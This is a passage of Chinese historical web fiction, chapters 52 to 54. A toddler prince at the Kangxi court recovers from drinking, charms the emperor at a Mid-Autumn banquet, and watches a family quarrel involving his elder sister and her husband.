少顷,柳从南禀道:“回福晋,六阿哥无碍,只是阿哥刚刚酒醒,饮食还是清淡些为好。” 随即,乌拉那拉氏便让银烛送柳从南出去了。 “咕噜”,弘晏的小肚子发出了抗议。 恰好,王乳娘端着漆木托盘过来了。 乌拉那拉氏端过瓷碗,拿着羹匙要喂弘晏,弘晏看清了瓷碗里面的食物之后却不愿意张嘴。 他不要吃小米粥。 一点儿味道都没有。 瞧着弘晏委屈巴巴的模样,乌拉那拉氏不为所动:“福宝不喝小米粥,那可就要喝苦药汤了。” 弘晏听罢,乖乖张开了嘴巴。 小米粥就小米粥吧,没味儿也比苦味强。 乌拉那拉氏一边喂弘晏吃小米粥,一边哄着弘晏说晚膳给他准备好吃的。 小米粥刚喂完,胤禛便下值回来了。 一迈进屋子,便瞧见了奶呼呼的弘晏,胤禛翘了翘嘴角,直接将弘晏抱了起来。 胤禛还凑近在弘晏脸蛋儿上亲了亲:“福宝,可还难受?” 弘晏摇了摇小脑袋:“饱饱了。” 胤禛听罢,抱着弘晏坐在了小榻上。 瞧着小家伙面色红润,想来也无碍了。 胤禛回来,乌拉那拉氏便说起了今个儿清早,额驸那喇星德进府请安过后,将怀恪郡主接回去了。 胤禛应了一声,并无多言。 怀恪在府里住了好几日,那喇星德才露面,这一进府就把怀恪接了回去,想来是小两口起了龃龉。 胤禛心中虽然这样猜想,但对于女儿的房中事,他这个做阿玛的不好直接问过。 再者,夫妻拌嘴也是常事,怀恪既然跟了那喇星德回去,想来也是没什么大事儿。 而弘晏听了这话,却想着那喇星德进府的时候,自己应该还在睡觉,不然就可以瞧瞧这位姐夫是何模样了。 不过,没见到也没关系,亲戚嘛,总会见面的。 “今儿个天好,抱福宝出去晒晒太阳吧。” 乌拉那拉氏话音落下,王乳娘便走过来抱着弘晏出去了。 这厢,王乳娘刚抱着弘晏出了正院,乌拉那拉氏就吩咐流萤摆膳。 胤禛觉出了什么,笑着问:“福晋,这是故意支走福宝?” 晒太阳哪里就这么急了。 乌拉那拉氏闻言,笑着解释起来:“好不容易哄着福宝喝了一碗 小米粥,若叫他瞧着咱们吃着鸡鸭鱼肉,岂不是又要闹腾了?” 胤禛听罢,心疼了弘晏一秒钟,转而对着乌拉那拉氏夸道:“福晋,用心良苦。” 乌拉那拉氏知晓胤禛又在打趣自己,娇嗔了胤禛一眼。 这厢,王乳娘虽领命抱着弘晏晒太阳,但幼儿皮肤娇嫩,总不好在太阳底下久晒,王乳娘便寻了一处凉亭,带着弘晏在凉亭里玩一玩,估摸着胤禛与乌拉那拉氏用完了午膳,方不急不慢的带着弘晏往回走。 到了晚上,弘晏瞧见自己的晚膳是一碗南瓜羹时,不情愿的撇了撇嘴,对着乌拉那拉氏喊道:“额凉,骗人。” 明明说好了晚上给他做好吃的,南瓜算什么好吃的。 乌拉那拉氏听罢,笑着问:“这味南瓜羹软糯香甜,怎么不算好吃的?” 好啊,额娘给他玩文字游戏。 弘晏鼓了鼓嘴巴,将小脸扭过去,不看乌拉那拉氏。 乌拉那拉氏见状,给流萤使了个眼色。 弘晏昨晚吃了不少油腥的东西又喝了酒,今个儿再想吃油腥的是不可能了。 少顷,流萤端着漆木托盘过来,乌拉那拉氏从托盘上的碟子里拿起一块枣糕往弘晏面前晃了晃。 弘晏眼睛一亮,一转头瞧见乌拉那拉氏一幅“鱼儿上钩”的模样,很是硬气的又将小脸儿扭了过去。 乌拉那拉氏见状,不再逗弘晏了,万一将弘晏气哭了,自己还得哄。 于是,乌拉那拉氏将弘晏抱到怀里,一口南瓜粥一口枣糕的哄着弘晏吃完了晚膳。 最后,乌拉那拉氏还不忘贴贴弘晏的小脸儿,保证道:“明个儿额娘让人给你准备好吃的,绝不骗人。” 第52章 第52章大智若愚 到了第二日,弘晏才知道这一回乌拉那拉氏确实没有骗自己。 只因为今日是八月十五——中秋节。 康熙要在宫里举办中秋家宴,所以自己可以跟着额娘和便宜阿玛进宫吃山珍海味了。 宴会晚上才开始,现在时辰还早,乌拉那拉氏便给弘晏挑选进宫要穿的衣裳。 弘晏指着一件枫叶红的袍子说道:“额凉,窝要这件。” 乌拉那拉氏闻言,有些迟疑:“这件?太艳了些吧。” 弘晏仰着小脸儿嚷道:“就要这个。” 过节嘛,自然要穿得艳丽一些。 乌拉那拉氏尊重弘晏的选择,将这件枫叶红的新袍子取出来:“好,咱们就穿这件。” 待袍子穿上身,扣好了盘扣,乌拉那拉氏又给弘晏系上了他喜欢的小兔玉佩做坠饰。 “好看,咱们阿哥真像个小仙童。”银烛笑吟吟的夸道。 弘晏听了这话很是受用,扬了扬小脸儿。 收拾妥当,乌拉那拉氏抱着弘晏去前院与胤禛汇合,一家三口坐上马车便朝着皇宫的方向出发了。 车厢里,胤禛瞧见挂在弘晏身上的小兔玉佩,翘了翘嘴角。 小家伙果然还是最喜欢他送的礼物。 弘晏发觉了胤禛的小表情,歪着小脑袋问:“阿玛,泥笑什莫?” 胤禛闻言,收敛了并不明显的笑意,又回到了面无表情的模样:“没笑,你看错了。” 弘晏:??? 他眼睛好的很,怎么可能看错,不说就算了,他也不想知道。 弘晏哼了哼,转而扭过脸用手去扯马车帘子。 不多时,马车在皇宫门外停下,胤禛先行下了马车,而后接过乌拉那拉氏怀里的弘晏。 待乌拉那拉氏踩着红木矮凳下来后,一家三口先去永和宫给德妃请安。 进了永和宫内,弘晏瞧见的除了德妃便是十四阿哥胤禵一家三口。 而胤禛却有些纳闷。 往常胤禵在,德妃都是笑的眼睛都眯成了一条缝,可今个儿脸上却有几分哀怨。 德妃一抬眼,瞧见弘晏穿着红艳艳的衣裳,只觉得刺眼的紧:“中秋节,多好的日子,人家都喜盈盈的穿红着绿,你府上却挂白丧,我早便说了,那罗氏出身低贱,定是福薄命浅,你却偏不信,那好好的孩子,本宫还没见上一面就没了。” 胤禵拉长声音喊道:“额娘。” 语气里既有不耐烦,更多的却是无奈。 事情已然发生,再说这些还有什么用。 弘晏等人听的是一头雾水。 得十四福晋完颜氏解释,方才知晓原来胤禵的格格罗氏诞下的那位小阿哥本因早产,身体虚弱,刚过了洗三礼就染上了风寒,小小的娃娃刚会吃奶便开始喂药,细心养了些日子病情方才好转,只是没想到一次洗了澡后,夜里又起了高热,御医医治好后,那孩子自此却反复高热,昨个晚上忽然没了气息。 弘晏听罢,回想起洗三礼那日,自己第一次见到了这位堂弟,当时只觉得他瘦弱的像只病猫,却不承想第一面竟成了最后一面。 胤禛先是对着德妃说道:“此事儿臣确实不知情。” 这话意在解释弘晏今日穿了件红色的袍子只是巧合,并非有意为之。 而后,胤禛又对着胤禵安慰道:十四弟,你到底还年轻,想开些。” 德妃抬眸看向胤禛,那眼神苛刻并无半分温情,奚落道:“你贵人事忙,自然是没有心思关心你亲弟弟的事。” 弘晏震惊的看着眼前的德妃。 人怎么能不讲道理到这个地步。 若是胤禵府上发生的一举一动,便宜阿玛都能第一时间知晓,德妃岂不是又要说便宜阿玛在胤禵府上安插了眼线。 弘晏有些同情胤禛了。 胤禛闻言,脸上毫无波动。 而胤禵眉头微颦,觉得德妃这话太没道理,遂不耐道:“额娘,事发突然又赶上中秋,儿子并未张扬,四哥自然不知,额娘莫要再提了。” 德妃话到嘴边又咽下,转而又对着胤禵说道:“等这阵子过去,把罗氏送到庄子上养着。” 这孩子没了便没了,不然将来长大再有了出息,罗家岂不是要将这个孩子当做靠山吃定了胤禵。 胤禵有这么一门低贱的岳家,于他而言也是累赘。 胤禵愤愤道:“额娘,兰儿刚没了孩子,我就将她弃了,岂非成了无情无义之徒。” 弘晏高看了胤禵一眼。 好吧,还算是个有良心的男人。 德妃见胤禵转不过弯来,便提点道:“是罗氏伤心过度,自愿离府为夭亡的孩子祈福,与你何干?” 德妃的发言再度震惊了弘晏。 好嘛,借口都找好了,就等着胤禵将人扫地出门了。 “我既然将兰儿纳了,便不会弃了她。”胤禵话锋一转,眼神陡然变得凌厉:“要送,也是将伊尔根觉罗氏送去庄子。” 十四福晋闻言,出声道:“爷,您已然罚过伊尔根觉罗氏了,她也知错了。” 胤禵不为所动,声音里含着怒意:“知错又如何?若当日她顾念着兰儿有孕,不与兰儿起争执,兰儿岂会动气早产,孩子又怎会体弱夭亡。” 完颜氏软话劝着:“可伊尔根觉罗氏好歹给爷生了弘映,弘映才七岁,不能没有额娘啊。” 当日的事儿,错也不全在伊尔根觉罗氏,本是罗氏仗着有宠有孕挑衅伊尔根觉罗氏在先,只是胤禵本就偏宠罗氏,如今孩子夭亡,罗氏没了指望,胤禵为了安抚她,就算要处罚伊尔根觉罗氏,也该看在弘映的面子上从轻发落才是,伊尔根觉罗氏一旦去了庄子,这辈子便再也别想回来了。 胤禵早已想好了:“弘映养在兰儿膝下便是,伊尔根觉罗氏害了爷的子嗣,自愿去庄子上赎罪为夭亡的孩子祈福,伊尔根觉罗家的人还敢置喙不成?” 完颜氏见胤禵是铁了心要如此,便不再多言了。 而胤禛与乌拉那拉氏只竖着耳朵听着,自然不会掺和进去。 有道是:清官难断家务事。 /:.,, 吃瓜的弘晏:呃……他方才夸胤禵的话能收回吗? 上首的德妃见胤禵对罗氏竟如此痴迷,虽心中不满,但当着胤禛夫妇的面儿,也不好再多说胤禵什么,省的胤禛夫妇看她的笑话,遂以退为进:“额娘老了,你既有决断,只当额娘没说过话便是了。” 胤禵听罢这话,愧疚涌上心头,“蹭”的一下站起身朝着德妃拱手道:“额娘,您这是说的哪里话,方才是儿子不好,言语上冒犯了额娘,额娘恕罪,额娘您丽质天成,独具慧眼,儿子诸事可少不得额娘提点。 胤禵这一站,身为十四福晋的完颜氏自然得跟随丈夫。 德妃心里舒畅了不少,笑眯眯的招呼胤禵坐下。 小小的弘晏则表示:这热闹着实太精彩了些,他两只眼睛一眨也不眨的瞧着,可脑子都跟不上运转了。 这热闹以胤禵痛失爱子开场,发展成母子意见相左,再发酵到胤禵与内宅女人们的爱恨情仇,最终却以德妃与胤禵二人母慈子孝水灵灵的收场了??? 这个话题揭过去,殿内的气氛活络了起来,完颜氏便喊着弘明与弘暟来跟弘晏说话儿。 弘明与弘暟兄弟俩,一个九岁,一个七岁,跟弘晏打过招呼后,便带着弘晏到一旁玩耍,王乳娘自是跟着去了。 大一些的弘明对着弘晏问道:“弘晏弟弟,我听额娘说你的乳名叫福宝,对吗?” 弘晏乖巧的点了点小脑袋。 不待弘明说话,弘暟先开了口:“福宝?那我叫你福宝弟弟吧?” 弘晏笑着应答:“好。” 弘暟见弘晏奶呼呼的对着自己笑,忍不住抬起手戳了戳弘晏的脸颊肉:“福宝弟弟,你的脸好软好嫩啊。” 说着,弘暟便又戳了戳自己的脸,有些不满意:“不像我的脸,一点儿都不光滑。” 弘明闻言,拿出了兄长的架势:“额娘让你抹香膏,是你自己不用的,整天在太阳底下跑,晒的又黑又糙。” 弘暟立马反驳道:“我才不黑,阿玛说了,我这肤色是巴图鲁的肤色,香膏是女人抹的东西,我当然不想用喽。” 弘暟说完,意识到了什么,转而将脸扭过去,小脑袋凑近弘晏,用鼻子闻了闻弘晏的小脸蛋儿,而后拉开距离问道:“好香啊,福宝弟弟,四伯母是给你涂了香膏吗?” 弘晏摇了摇小脑袋。 弘暟不解的挠了挠小脑袋:“啊?那你为什么香香的?” 弘明有些嫌弃的看着疑惑满满的弘暟:“真笨,福宝弟弟还是小娃娃,天天喝牛乳,自然是有奶香味了。” “哦!”弘暟恍然大悟,随即反应过来自己刚才被弘明骂了:“我才不笨,阿玛说了我是大猪大鱼。” 弘明看着骄傲自信的弘暟,无奈纠正道:“是大智若愚。” 弘暟嘿嘿一笑:“哎呀,差不多嘛。” 弘明一脸认真的看着嬉皮笑脸的弘暟:“南辕北辙,差远了。” 弘暟看着自己哥哥端着小夫子的模样,就有点儿嫌烦:“哎呀,管它在南在北呢,又不碍咱们兄弟的事儿。” 弘明:“……” 弘晏看着弘暟莫名觉得有点儿熟悉,这不是和弘昼有异曲同工之妙嘛! 弘暟看着弘明对自己又气又无奈的眼神,便从盘子里抓了一个橘子,三下五除二的剥开,而后掰下一块橘子很是殷勤的塞进了弘明嘴里:“哥哥,吃橘子,可甜了。” 弘暟说完,便又掰下橘子瓣要喂给弘晏。 弘明见状,在王乳娘开口之前,拉住了弘暟喂橘子瓣的手。 弘暟不解的看向弘明。 弘明囫囵咽下口中的橘子,遂解释道:“待我问过四伯母,你再喂。” 他之前听额娘说过,福宝弟弟误食了会过敏的核桃,身上出了疹子,受了不少罪。 “噢噢。” 弘暟乖乖的将喂橘子瓣的手收回来,等着弘明回来。 宫廷御用的蜜橘是皮薄无核的,只是王乳娘方才见弘暟那么粗鲁的喂弘明吃东西,生怕弘暟用同样的方式喂弘晏,让弘晏噎住了,所以准备开口阻拦。 既然弘明先她一步阻拦了弘明,又十分懂事的请示乌拉那拉氏,那她也不必多嘴开口了。 弘晏看着弘暟手中月牙儿似的橙黄色蜜橘瓣儿,有些馋了。 看上去就很好吃的样子。 弘暟见弘明回来,问道:“哥哥,四伯母怎么说?” “四伯母说福宝弟弟可以吃,但是橘子凉,要少吃。”弘明边说着,边拿过弘暟手中的蜜橘瓣儿,贴心的撕去了白丝般的橘络后,方喂给了弘晏。 橘子果然甜甜的。 弘晏将口中的橘子咽下,糯糯的对着弘明说道:“谢谢锅锅。” 弘暟见状,也学着弘明的样子先撕去了白丝般的橘络,而后喂给弘晏吃。 同样,弘暟也收获了一句“谢谢锅锅。” 弘暟还要再喂,却被弘明阻拦了:“可以了。” 弘暟震惊道:“才喂两个,福宝弟弟还没吃出味道呢。” 两个橘子瓣,也太少了吧。 这还没他拳头大的橘子,他一口气能吃五个完整的。 弘晏眨了眨大眼睛,跟着附和。 弘明不忍心拒绝弘晏,松口道:“那你再喂福宝弟弟一个。” “好嘞。” 弘暟答应后,利落的撕去橘络,喂给了弘晏吃。 弘晏真诚的感谢弘暟的投喂:“谢谢锅锅。” 弘暟美滋滋的对着弘明显摆道:“嘿嘿,福宝弟弟谢了我两次噢。” 弘明:“……” 这也值得攀比? 下一秒,弘晏对着弘明奶呼呼的喊道:“谢谢锅锅。” 是很贴心的弘明哥哥吖! 弘明闻言,笑眯眯的抬起手摸了摸弘晏的小脑袋。 目睹一切的弘暟:“……” 第53章 第53章一泻千里 众人又说笑了会儿,到了时辰,一行人便浩浩荡荡的往乾清宫去。 德妃是长辈自然走在最前面,后面依次是胤禛夫妇和胤禵夫妇,而弘晏趴在胤禛的肩膀上,小脑袋望着天边玉盘似的圆月。 到了乾清宫,殿内已然站了一屋子的人。 弘晏环视一周,还没有见到康熙的人影。 忽而,听得梁九功高呼:“皇上驾到。” 接着,满屋子的人皆行礼问安,弘晏也被胤禛放了下来,乖乖的握拳作揖。 康熙一眼就瞅见了人群中显眼的一抹红色,不是弘晏,又能是谁。 有些日子不见,弘晏好似长高长胖了。 康熙敛下思绪,抬步走到宝座上坐下,方才抬了抬手,示意众人起身。 康熙笑道:“今日是中秋家宴,不必拘礼,都坐吧。” 康熙话音落下,众人方落座到安排好的位置上。 胤禛排行第四,座位自然挨着三阿哥胤祉与五阿哥胤祺。 弘晏在胤禛的带领下,乖乖的喊完“三伯,三伯母,五叔,五婶婶之后”,两只眼睛便直勾勾的盯着桌面上的饭菜。 直到康熙点头示意,梁九功喊完:“开宴”之后,弘晏便迫不及待的嚷着让乌拉那拉氏给他喂吃的。 乌拉那拉氏见状,笑吟吟的夹了桂花糯米糖藕喂给弘晏。 桂花糯米糖藕一入口,弘晏眼睛一亮,好甜好甜。 美酒佳肴上桌,又怎能少了歌舞助兴。 身姿婀娜的舞女在中央翩翩起舞,说话的欢笑声陡然停了,众人皆欣赏优美的舞姿,弘晏双耳不闻歌舞之声,丝竹之乐,专心吃着手里的食物,吃完了便嚷着乌拉那拉氏给他夹。 乌拉那拉氏掰了半块孙泥额芬白糕给弘晏,而王乳娘将剥好螃蟹肉放到小碗里,方便乌拉那拉氏喂弘晏。 弘晏吃了鲜美的蟹肉,便不想再吃别的。 蟹肉性凉,乌拉那拉氏自是不敢让弘晏吃那么多,便又夹了块萝卜来哄弘晏。 好吧,在萝卜面前,他没有任何的抵抗力。 殊不知,康熙的余光一直在关注着弘晏。 这孩子一开宴,小嘴就没停过,宴席上的其他孩子也不这样,莫不是老四在府里没给儿子喂饭吃? 随即,康熙又将自己脑子里蹦出来的荒唐想法给打消了。 而且,康熙本人都被自己的荒唐想法给逗笑了。 而领头的舞女瞧着康熙笑得开怀,心 里一喜,便跳的更卖力了,想要将自己的全部本事都拿出来,获得康熙的嘉奖,可是急于求成,动作乱了节拍,提早转圈与身旁的舞女撞在了一起,那舞女身形一咧,又踩到了身边人的拖地裙摆,害得那舞女径直摔在了地上。 下一瞬,众舞女齐齐的跪在地上,那领头的舞女更是惶恐不安。 吃累了的弘晏,恰好又目睹了这一大型翻车现场的全过程。 都是那领头的舞女先乱了动作。 和声署的管事太监跪在地上,一个劲儿的磕头请罪:“奴才管教不严,扰了皇上雅兴,皇上恕罪,皇上恕罪。” 半晌儿,康熙方才道:“罢了,都下去吧。” 今日中秋,他也不想动辄打骂,坏了雅兴。 和声署的管事太监如临大赦:“多谢皇上开恩,多谢皇上开恩。” 身旁跟着的舞女们也赶忙磕头谢恩,而后退了下去。 场子有些冷了,胤禵见状,从位置上站起来,拱手道:“汗阿玛,儿臣愿为汗阿玛舞剑助兴。” 康熙眼睛一亮:“好,梁九功,取宝剑来。” 胤禵的剑法行云流水,一气呵成,赢得满堂喝彩。 康熙很是满意,笑道:“赏十四阿哥白银千两。” 胤禵打千儿道:“儿臣谢汗阿玛。” 这时,座位上的德妃与有荣焉,挺了挺腰杆儿。 一旁的宜妃见状,不屑的扯了扯嘴角。 胤禵将场子热了起来,其他阿哥见状,也不甘落后,纷纷下场献艺。 弘晏一边欣赏着其他叔伯的才艺,一边看着身边面无波澜且慢悠悠饮酒的胤禛,想着怪不得最后便宜阿玛能登得大位,真的是沉的住气啊。 随着三阿哥胤祉的书法表演落幕,康熙的眼睛扫视了一圈,最后落在胤禛身上:“老四,你可有准备?” 胤禛闻言,起身道:“儿臣并无准备,愿弹奏一曲,为汗阿玛助兴。” 弘晏(震惊脸):便宜阿玛还会弹古琴? 只见胤禛端坐在中央,身形如青松般挺直,接着取下拇指上的玉扳指,而后双手抚上琴弦,那清脆悦耳的琴声如潺潺溪水般流淌出来。 康熙沉浸其中,胤禛弹奏的曲子乃是《高山流水》。 一曲罢,康熙笑道:“如听仙乐耳暂明。” 座位上的弘晏,也为胤禛鼓起了掌。 芜湖! 便宜阿玛还有什么惊喜,是他不知道的。 胤禛起身绕过琴桌,对着康熙拱手道:“儿臣雕虫小技,担不起‘仙乐’二字,能博汗阿玛一笑,为在场诸位助兴罢了。” 康熙听罢,温声道:“梁九功,赏四阿哥白银千两。” 胤禛闻言,打千儿道:“儿臣谢汗阿玛赏赐。” 康熙一观诸子风采,已然尽了兴,坐了这么久,便想起身活动活动筋骨,乾清宫外也挂起了花灯,夜里瞧正是耀眼好看。 于是,殿内众人便跟着康熙出来欣赏花灯。 花灯五颜六色,形状各异,最为夺目的便是内务府特意做出来的巨大的金龙灯笼。 那金龙栩栩如生,远远瞧上去,就像飞龙在天,这龙形灯笼更彰显着康熙这位天子春秋鼎盛,执掌天下。 “这花灯,你们可随意观赏。” 康熙话音落下,众人闻弦歌而知雅意,随即各自散开,除了梁九功,再无人近身。 康熙言道:“梁九功,将小福宝抱来。” 梁九功愣了一瞬,随即去办。 片刻功夫,梁九功便抱着弘晏过来了。 弘晏见到康熙,边奶呼呼的喊着:“皇玛法”,边伸出双手扑腾着小短腿要到康熙怀里去。 康熙一把将弘晏抱进怀里,贴了贴弘晏的小脸蛋儿。 这些日子不见,他还以为弘晏见到他会认生害怕,不承想弘晏还记得他这个皇玛法,欢欢喜喜的要他抱。 弘晏有些嫌弃的说道:“皇玛法,胡子扎。” 康熙听罢,哈哈一笑:“那换你亲皇玛法?” 康熙话音落下,弘晏飞快的在康熙脸上亲了一下。 康熙笑得慈祥:“福宝,瞧瞧这些花灯,你喜欢哪个?” 康熙这话问出口,梁九功不禁替弘晏捏了一把汗。 弘晏瞧着琳琅满目的灯笼,毫不犹豫的开口道:“兔子灯。” 待弘晏说完,康熙看向了梁九功。 梁九功心领神会,将兔子灯拿来给弘晏。 而方才梁九功心里产生的那点儿子担心,也跟着烟消云散了。 弘晏欢喜的拿着兔子灯玩起来。 小巧的白兔子形状,上面画着红宝石般的眼睛,内里的蜡烛燃着橙黄色的火焰,实在好看的紧。 康熙看着弘晏,忽而想起了什么,遂柔声问道:“福宝,方才在殿内,你十四叔的剑法厉害吗?” 弘晏点了点小脑袋,肯定道:“腻害。” 康熙接着问道:“那你阿玛弹的古琴可好听?” 弘晏一本正经的说道:“好听哒,窝都不知道阿玛会弹琴。” 康熙顿了片刻,又问道:“福宝,你觉得你十四叔厉害,还是阿玛厉害?” 梁九功闻言,心里一惊。 弘晏听罢,忽闪着黑葡萄般的大眼睛,笑的真诚可爱:“当然是窝阿玛腻害了,阿玛最腻害!。” 胤禵再厉害与他有什么关系,他当然要站便宜阿玛了。 有一说一,便宜阿玛的琴确实好听。 康熙被弘晏逗笑了,曲起食指轻轻刮了一下弘晏的鼻尖:“你真是你阿玛的好儿子。” 弘晏立马接话道:“窝阿玛也是皇玛法的好儿子啊。” 康熙没想到弘晏能举一反三,怔了怔,方点头道:“你阿玛,确实是极好的。” 话说完,康熙的目光深邃了些。 梁九功听完这对祖孙的对话,适时说道:“皇上,烟花都预备齐了。” 康熙点头道:“那就放吧。” “嗻。” 梁九功领命去办。 康熙转而问向怀里的小人儿:“福宝,可害怕烟花?” 弘晏挺了挺小胸脯:“不怕,窝喜欢看烟花。” 随着弘晏话音落下,五彩斑斓的烟花齐齐在黑夜里绽放,犹如百花盛开,绚丽多姿。 弘晏笑嘻嘻道:“皇玛法,快看,漂酿的烟花。” 烟花放完,夜色又恢复了寂静,康熙一低头,才发觉弘晏已然靠在自己怀里睡着了。 跟着弘晏在一起,康熙莫名的感到放松和快乐。 或许这就是民间常说的含饴弄孙之乐。 康熙满是慈爱的摸了摸弘晏的小脸蛋儿,转而叫梁九功把弘晏送还给胤禛夫妇。 中秋宴会结束,胤禛与乌拉那拉氏带着弘晏打道回府。 车厢内,乌拉那拉氏抱着熟睡的弘晏,对着胤禛说道:“今日宴席上的皇孙不少,汗阿玛独独抱了福宝去,也不知福宝都说了什么?” 伴君如伴虎。 天家无父子,又何况是孙子。 弘晏不在自己身边,乌拉那拉氏总是不安心的。 胤禛闻言,看着弘晏熟睡的脸颊,答道:“自是福宝年纪小,懵懂无知,说些什么也是童言童语,汗阿玛不会放在心上。” 乌拉那拉氏觉得有理,遂低下头去轻轻拍打着怀里的弘晏。 “路还长,换爷来抱吧。”说着,胤禛就将弘晏抱进了自己怀里。 弘晏睡得沉,既使换了人也没有醒。 忽而,胤禛感觉一股热流浸透他的衣袍,一低头,果然湿了一片。 这小家伙,又尿他身上了。 乌拉那拉氏瞧着胤禛脸色有些难看,向前一探头,看清楚发生了什么之后,“噗嗤”笑出声来:“这可是爷自己要抱的。” 胤禛见乌拉那拉氏幸灾乐祸,眉头一挑:“爷这可是替福晋挡了灾祸。” 也不知小家伙晚宴上都吃了什么,尿竟这般难闻。 “好好好,是爷受苦了。”乌拉那拉氏说着,凑过去在胤禛脸上亲了一下。 忽而,胤禛与乌拉那拉氏都愣住了。 乌拉那拉氏反应过来,脸一烫,忙移开了眼,躲避与胤禛的目光对视。 胤禛见状,弯了弯唇。 自从有了弘晏,福晋整个人像是衰败凋零的花重新焕发了生机,越发鲜活俏丽。 就方才那般,即使是他们刚成亲那几年,福晋也鲜少如此。 这时,弘晏吧唧了一下嘴巴。 胤禛见状,笑道:“小家伙一泻千里,纵使在马车里也能睡得这般安稳。” 胤禛不提,乌拉那拉氏自然也就当刚才什么都没发生,接话道:“福宝还是给我抱着吧。” 胤禛拒绝了:“你就别沾手了。” 不多时,马车稳稳停在了雍亲王府门前,乌拉那拉氏先行下了马车,而后胤禛抱着弘晏直接去了正院。 乌拉那拉氏与王乳娘带着弘晏换洗,胤禛也去沐浴更衣。 待胤禛沐浴更衣回来,弘晏已然清清爽爽的睡在拔步床上了。 胤禛看向王乳娘,王乳娘识趣的抱着弘晏到耳房去了。 第54章 第54章好奇宝宝 翌日清晨,弘晏在耳房醒来,由王乳娘穿戴梳洗好后,就迈着小短腿往正屋去了。 弘晏迈进内室,瞧见乌拉那拉氏正在梳妆,便小跑过去喊道:“额凉。” 乌拉那拉氏从梳妆台的镜子里看到肉乎乎的小奶团子,笑着问道:“福宝醒了,饿不饿?” 弘晏点了点小脑袋:“饿了。” 待最后一支珠钗簪好,乌拉那拉氏俯身抱起弘晏便往外走。 弘晏通过乌拉那拉氏的口,才知道原来昨天晚上他在康熙怀里睡着了,而后被乌拉那拉氏抱回去,最后在胤禛怀里撒尿了!!! 弘晏震惊之余,又觉得万幸的是,他没有在皇宫当着那么多人的面尿裤子。 要不然丢脸就丢大发了! 最重要的是,他没有在康熙身上撒尿,不然他以后哪里还有脸面进宫见康熙呢。 不过,便宜阿玛能抱着尿裤子的他坐了一路的马车,又忍着味儿将他抱回了正院,他心里还是过意不去的,等便宜阿玛下值回来,他用行动来表示他的歉意就好了。 流萤与银烛将早膳摆放好,乌拉那拉氏抱着弘晏坐到八仙桌前,弘晏扫视了一圈,扬着小脸儿对乌拉那拉氏说道:“额凉,要昨天在宫里吃过的糕糕。” 他不知道中秋宴席上吃的那道糕点叫什么名字,但是有浓浓的奶香味,很好吃的。 乌拉那拉氏听罢,便看了流萤一眼。 流萤迈步出去,再进来时将一碟子孙泥额芬白糕放在了八仙桌上。 弘晏眼睛亮了起来,恍若璀璨的明珠:“额凉,就是介个,要吃糕糕。” “好,额娘给你拿。”说着,乌拉那拉氏掰了半块孙泥额芬白糕递给弘晏。 弘晏咬了一口,连连点头。 不错,就是这个味儿。 弘晏边吃着孙泥额芬白糕,乌拉那拉氏端了鸡丝粥,舀起一勺,吹凉了方喂给弘晏。 弘晏吃饱喝足以后,就让王乳娘将他的两只蝈蝈笼子拿来,坐在铺了毯子的地板上玩儿。 而乌拉那拉氏喂完弘晏方开始吃早膳。 银烛迈步入内,急急忙忙的说道:“福晋,外面的奴才瞧见怀恪郡主回府,直接去了碧波苑,而且脸色不太好。” 乌拉那拉氏倒是淡定的很:“知道了。” 话音落下,乌拉那拉氏继续吃碗里的鸡丝粥。 银烛见状,出声道:“福晋,郡主回府,再怎么也得先来给您请安才是。” 尊卑有别,哪有直接去见李侧福晋的道理。 乌拉那拉氏咽下口中的鸡丝粥,抬眸望向银烛:“她不来,咱们就当做不知道便是。” 刚过完中秋,就一大早回了娘家,脸色还不好,定是又与额驸起了龃龉。 怀恪不来也是知晓这不合规矩,更是怕自己盘问说教。 不过,她倒是没那个闲功夫。 等胤禛回府,高无庸定然会告诉他。 他的女儿,他自己管教就是了。 银烛应了一声,不再多言。 坐在毯子上玩耍的弘晏可是听得清楚,好像很快就又有好戏看了。 果不其然,临近午时,胤禛来了正院,只是脸色不太好。 弘晏只当做瞧不出来,露出甜甜的笑容,伸出双手要让胤禛抱。 看到弘晏的那一刻,胤禛的心情好了些,俯身将弘晏抱起来。 “啵啵。” 弘晏在胤禛脸上连亲了好几下,而后靠着胤禛的肩膀,奶呼呼的喊:“阿玛。” 是又被他尿了一身的便宜阿玛。 面对弘晏的软萌撒娇,胤禛怔了怔,而后抱着弘晏坐下:“福宝,是知道自己尿裤子,还尿到阿玛身上了?” 弘晏不答话,直接将头埋进胤禛怀里。 胤禛见状,拍了拍弘晏肉嘟嘟的小屁股。 还知道要面子呢。 胤禛想起正事,望向乌拉那拉氏问道:“福晋,怀恪可曾来正院?” 乌拉那拉氏装糊涂:“怀恪回府了?” 胤禛闻言,眉头微皱:“这孩子,越发没有规矩了。” 乌拉那拉氏使了个眼神,王乳娘上前将弘晏抱到了自己怀里,而后退到一旁站着。 胤禛正色道:“怀恪一大早回府就去了碧波苑,爷下值听高无庸说起,便去了趟碧波苑,谁知怀恪竟和爷说要与星德和离,真是胡闹。” 皇上亲赐的婚事,岂能儿戏。 乌拉那拉氏闻言,关切道:“怀恪莫不是在那喇府受了委屈?” 胤禛也是气恼:“她不愿说原委,只道星德是粗鲁莽夫,不堪为良配。” 胤禛话音刚落下,苏培盛进来禀报道:“爷,福晋,额驸求见。” 吃瓜的弘晏:说曹操曹操到。 胤禛闻言,只道:“叫他进来。” 下一瞬,那喇星德进门打千儿道:“小婿给阿玛请安,给嫡额娘请安。” 胤禛抬了一下手:“起来吧。” 待那喇星德站直了身子,弘晏方才看清了那喇星德。 一个身高八尺的汉子,肤色许是因常年习武的缘故是小麦色,但五官端正,眉宇间尽是英气,而且听那喇星德方才说话也是洪亮圆润,不像是怀恪郡主口中所言的那般不堪。 那喇星德看着胤禛解释道:“阿玛,小婿下值回府,才知郡主她一早回了雍亲王府,此番特意来接她回去。” 乌拉那拉氏闻言,出声道:“怀恪她在碧波苑,李侧福晋那里。” 那喇星德无奈解释:“回嫡额娘,这个小婿自然知晓,碧波苑小婿已然去过,只是郡主将小婿拒之门外,不肯相见。” 弘晏明白了,那喇星德这是搬救兵来了。 胤禛发话道:“苏培盛,你跟着走一趟。” 儿女私事,还是让他们自己解释为好。 “多谢阿玛,嫡额娘,小婿告退。”那喇星德话落,便迈步离开了正院。 —— 园子里的假山旁,怀恪郡主侧身而站,一言不发。 而距离假山几步远的草丛后面,藏着一大一小两个人影。 王乳娘压低声音问道:“六阿哥,这就是你说的晒太阳?” 弘晏理直气壮的点了点头。 王乳娘劝道:“哎呦,六阿哥,咱们快些回去吧,偷听可不好。” 万一被发现了更不好。 其实给两位主子放风的苏培盛,早就发现了弘晏的身影。 